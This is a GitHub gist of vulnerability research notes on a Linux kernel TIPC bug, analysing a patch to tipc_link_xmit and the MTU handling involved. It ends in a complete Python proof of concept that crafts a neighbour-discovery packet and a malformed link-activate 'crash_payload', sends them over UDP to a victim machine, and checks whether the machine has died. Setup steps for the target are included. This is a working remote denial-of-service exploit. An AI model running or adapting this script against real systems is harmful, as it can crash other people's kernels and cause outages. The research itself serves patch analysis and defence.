Skip to content

Instantly share code, notes, and snippets.

@netspooky
Last active March 14, 2022 17:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save netspooky/bee2d07022f6350bb88eaa48e571d9b5 to your computer and use it in GitHub Desktop.
Save netspooky/bee2d07022f6350bb88eaa48e571d9b5 to your computer and use it in GitHub Desktop.

Using the 5.10 kernel source

REFS:

Analysis of the Patch

Looked at this commit, there are changes made to the tipc_link_xmit function.

When patched, this is printed in dmesg when the POC is run.

tipc: Too large msg, purging xmit list 1 5 0 40 4!
tipc: Too large msg, purging xmit list 1 15 0 60 4!

These correspond to the two messages sent in the POC. Mapping these out to their assignments in the function

# The discovery message
purging xmit list 1 5 0 40 4
  skb_queue_len(list) = 1
  msg_user(hdr) = 5
  msg_type(hdr) = 0
  msg_size(hdr) = 40
  mtu           = 4

# The activate/reset message
purging xmit list 1 15 0 60 4
  skb_queue_len(list) = 1
  msg_user(hdr) = 15
  msg_type(hdr) = 0
  msg_size(hdr) = 60
  mtu           = 4

So the MTU is caught here as 4. But why?

Looking at what was added:

Originally the hdr was defined as buf_msg(skb_peek(list)) and was redefined to be a new tipc_msg struct called hdr.

  • This is just a 60 byte array that holds the maximum size of a message header. The internal header is 60 bytes, while others are 40.
  • This means that the hdr is not blindly cast from the next SKB in the queue.

Now a check is made for pkt_cnt <= 0 which is defined by the size of the queue of unprocessed packets (skb). If there are no more packets left, or if the number is negative, then return 0.

My hunch is now that the DOS happened because it was trying to parse SKBs that were not there. This while loop may have just sent it into an unknown state due to parsing unknown data in memory.

Tracing what calls tipc_link_xmit

This is just a best guess, kernel tracing needs to be done.

Analyzing the MTU assignment

The MTU being set to a low value is one part of this, but it could be indicative of a bigger issue.

Let's see what calls it and how connections are initialized:

tipc_accept(struct socket *sock, struct socket *new_sock, int flags, bool kern) accepts new connections. This function then calls tipc_sk_finish_conn(new_tsock, msg_origport(msg), msg_orignode(msg));. tipc_sk_finish_conn connects the socket to the peer.

This function is acting on a tipc_sock struct. The tipc_sock->max_pkt member is what is set by calling the tipc_node_get_mtu function. This function is called with net, which is the SKB, the peer_node passed originally from tipc_accept and the tsk->portid which a unique TIPC socket port identity.

tipc_node_get_mtu initializes mtu with MAX_MSG_SIZE which is 66060. A tipc_node is initialized with tipc_node_find(net, addr); It has some checks to ensure that the node is valid and if it's on the same network or not. If all of these checks are passed, then the bearer_id gets assigned to tipc_node->active_links on Line 217.

This assignment bearer_id = n->active_links[sel & 1]; uses the sel variable which is the tsk->portid AND'd with 1. This is because active_links is a 2 element array of ints. If the bearer_id is valid, then mtu is finally assigned to n->links[bearer_id].mtu; which is an unknown value. Finally there is a call to tipc_node_put and the MTU is returned.

Questions

  • What does MTU look like in this call? Does it get changed in any way after? Can use printk to investigate.
  • Does the tipc_node actually point to a real tipc_node?

Next Steps

Need to figure out how the trailer data is processed. The trailer data containing MTU info is not dissected by wireshark. In the packet that crashes the kernel, the data is all 0s. In a proper message, there is data in the 8 byte buffer at the end.

The two bytes at 0x2D seem to affect whether or not this bug is triggered. When 0, the warning appears in a patched kernel. When either byte isn't 0, then the warning doesn't appear.

0000   4f 40 00 38 40 00 00 00 00 00 80 00 01 00 10 02   O@.8@...........
0010   00 00 00 01 21 50 02 02 01 00 10 02 01 00 10 01   ....!P..........
                                              -----
0020   c0 80 00 00 00 01 70 00 00 55 44 50 31 00 00 00   ......p..UDP1...
0030   00 00 00 00 00 00 00 00                           ........

Also should debug and set a breakpoint on tipc_link_xmit and on tipc_node_get_mtu (or even just printk) and check out the values we are interested in. Is the hdr pointing to TIPC data in tipc_link_xmit? Where does the tipc_node point to in tipc_node_get_mtu? What is the value of mtu?

import socket
import requests
import time
### Setup
# Enable the TIPC module
# sudo modprobe -r tipc && sudo modprobe tipc
#
# Set up the process
# tipc node set addr 1.1.1
#
# Enable the media on your victim machine
# tipc bearer enable media udp name UDP1 localip 192.168.229.139
#
# Run python http server for health check
# python3 -m http.server &
#
# Then run this script as sudo, make sure you change the src and dest ips here.
# Also the domain might be different, but you can inspect the packets in wireshark using the `tipc` filter
src_ip = "192.168.229.138"
src_port = 6118
dest_ip = "192.168.229.139"
dest_port = 6118 #Default TIPC UDP port
dest_domain = b"\x00\x00\x00\x00" # (0.0.0)
#dest_domain = b"\x01\x00\x10\x00" # (1.1.0)
target_conf = (dest_ip, dest_port)
server_conf = (src_ip, src_port)
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP Client
server = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) #UDP Server
#Bind server
server.bind(server_conf)
################################################################################
#neighbor_dsc = bytes.fromhex("5bf0003c000f023b01001000010010020000126700000003080017e6c0a808cf00000000000000000000000000000000000000000000000000000000")
neighbor_dsc = b""
# 010. .... .... .... .... .... .... .... = Version: 2
# ...1 101. .... .... .... .... .... .... = User: Neighbour Discovery Protocol (13)
# .... ...1 111. .... .... .... .... .... = Header size: 15 = 60 bytes
# .... .... ...1 .... .... .... .... .... = Non-sequenced: 1
# .... .... .... XXX. .... .... .... .... = UNUSED
# .... .... .... ...0 0000 0000 0011 1100 = Message size: 60
neighbor_dsc += b"\x5b\xf0\x00\x3c"
# 000. .... .... .... .... .... .... .... = Message type: Request (0)
# ...X XXXX .... .... .... .... .... .... = UNUSED
# .... .... 0000 1111 .... .... .... .... = Minor protocol version: 15
# .... .... .... .... 0000 0010 0011 1011 = Node signature: 571
neighbor_dsc += b"\x00\x0f\x02\x3b"
# Destination Domain (0.0.0)
neighbor_dsc += dest_domain
# Previous Node (1.1.2)
neighbor_dsc += b"\x01\x00\x10\x02"
# Network Identity
neighbor_dsc += b"\x00\x00\x12\x67"
# Media ID
neighbor_dsc += b"\x00\x00\x00\x03"
# Start of Bearer Level Originating Address
neighbor_dsc += b"\x08\x00" # Is 0800 the eth type?
neighbor_dsc += src_port.to_bytes(2, 'big') # src port
neighbor_dsc += socket.inet_aton(src_ip) # src ip
neighbor_dsc += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
neighbor_dsc += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
################################################################################
#crash_payload = bytes.fromhex("4f40003840000000000080000100100200000001215002020100100201001001c0800000000170000055445031000000000000000000000000")
crash_payload = b""
# 010. .... .... .... .... .... .... .... = Version: 2
# ...0 111. .... .... .... .... .... .... = User: Link State Maintenance Protocol (7)
# .... ...1 010. .... .... .... .... .... = Header size: 10 = 40 bytes
# .... .... ...0 .... .... .... .... .... = Non-sequenced: 0
# .... .... .... ...0 0000 0000 0011 1000 = Message size: 56
crash_payload += b"\x4f\x40\x00\x38"
# 010. .... .... .... .... .... .... .... = Message type: Activate (2)
# ...0 0000 0000 0000 .... .... .... .... = Sequence Gap: 0
# .... .... .... .... 0000 0000 0000 0000 = Broadcast Acknowledge Number: 0
crash_payload += b"\x40\x00\x00\x00"
# 0000 0000 0000 0000 .... .... .... .... = Link Level Acknowledge Number: 0
# .... .... .... .... 1000 0000 0000 0000 = Link Level Sequence Number: 32768
crash_payload += b"\x00\x00\x80\x00"
# Previous Node (1.1.2)
crash_payload += b"\x01\x00\x10\x02"
# 0000 0000 0000 0000 .... .... .... .... = Next Sent Broadcast: 0
# .... .... .... .... 0000 0000 0000 0001 = Next Sent Packet: 1
crash_payload += b"\x00\x00\x00\x01"
# 0010 0001 0101 0000 .... .... .... .... = Session Number: 8528
# .... .... .... .... XXX. .... .... .... = UNUSED
# .... .... .... .... ...0 .... .... .... = Redundant Link: 0
# .... .... .... .... .... 001. .... .... = Bearer identity: 1
# .... .... .... .... .... ...0 0000 .... = Link Priority: 0
# .... .... .... .... .... .... .... 001. = Network Plane: B (1)
# .... .... .... .... .... .... .... ...0 = Probe: 0
crash_payload += b"\x21\x50\x02\x02"
# Originating Node (1.1.2)
crash_payload += b"\x01\x00\x10\x02"
# Destination Node (1.1.1)
crash_payload += b"\x01\x00\x10\x01"
crash_payload += b"\xc0\x80\x00\x00" # Timestamp
# 0000 0000 0000 0001 .... .... .... .... = Max Packet: 1
# .... .... .... .... 0111 0000 0000 0000 = Link Tolerance (ms): 28672
crash_payload += b"\x00\x01\x70\x00"
# Bearer stuff, has the interface UDP1
crash_payload += b"\x00\x55\x44\x50\x31"
crash_payload += b"\x00\x00" # seems to influence the mtu
crash_payload += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
#Populate peer 1.1.2
client.sendto(neighbor_dsc, target_conf)
time.sleep(3)
client.sendto(crash_payload, target_conf)
time.sleep(3)
try:
response = requests.request("GET", "http://{}:8000/".format(dest_ip), timeout=5)
except requests.exceptions.Timeout as e:
print("He's dead jim!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment